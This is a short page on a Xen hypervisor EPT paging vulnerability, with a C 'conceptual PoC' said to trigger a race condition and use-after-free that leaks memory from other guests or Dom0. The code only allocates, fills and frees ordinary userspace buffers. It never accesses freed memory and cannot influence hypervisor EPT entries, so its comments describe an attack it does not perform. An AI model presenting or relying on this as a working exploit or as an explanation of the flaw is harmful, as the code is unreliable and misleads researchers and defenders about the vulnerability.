CVE-2026-23554 Xen EPT分页内存访问漏洞

/* * Conceptual PoC for CVE-2026-23554 * This code demonstrates the logic to trigger the race condition * in Xen EPT paging by forcing memory allocation and free cycles. * Compilation: gcc -o poc_xen_ept poc_xen_ept.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BUFFER_SIZE 4096 // Function to simulate memory pressure and EPT modifications void trigger_ept_race() { void *ptr; char *data; printf("[+] Starting EPT race condition trigger...\n"); for (long i = 0; i < 100000; i++) { // Allocate memory to modify EPT entries ptr = malloc(BUFFER_SIZE); if (!ptr) { perror("malloc failed"); continue; } // Write data to ensure the page is active in EPT data = (char *)ptr; memset(data, 0x41, BUFFER_SIZE); // Free the page immediately // In the vulnerable version, the page might be freed // while the EPT cache still holds a reference (deferred flush). free(ptr); // Attempt to access the freed page (Use-After-Free) // This attempts to read data through a potentially stale EPT entry. // If successful, we might read data from a different guest or Dom0. // Note: Modern OS allocators might prevent immediate crash, // but the underlying Hypervisor issue remains. } printf("[+] Trigger loop completed.\n"); } int main() { printf("CVE-2026-23554 Xen Hypervisor EPT PoC\n"); printf("Warning: Run inside a vulnerable Xen Guest VM.\n"); trigger_ept_race(); return 0; }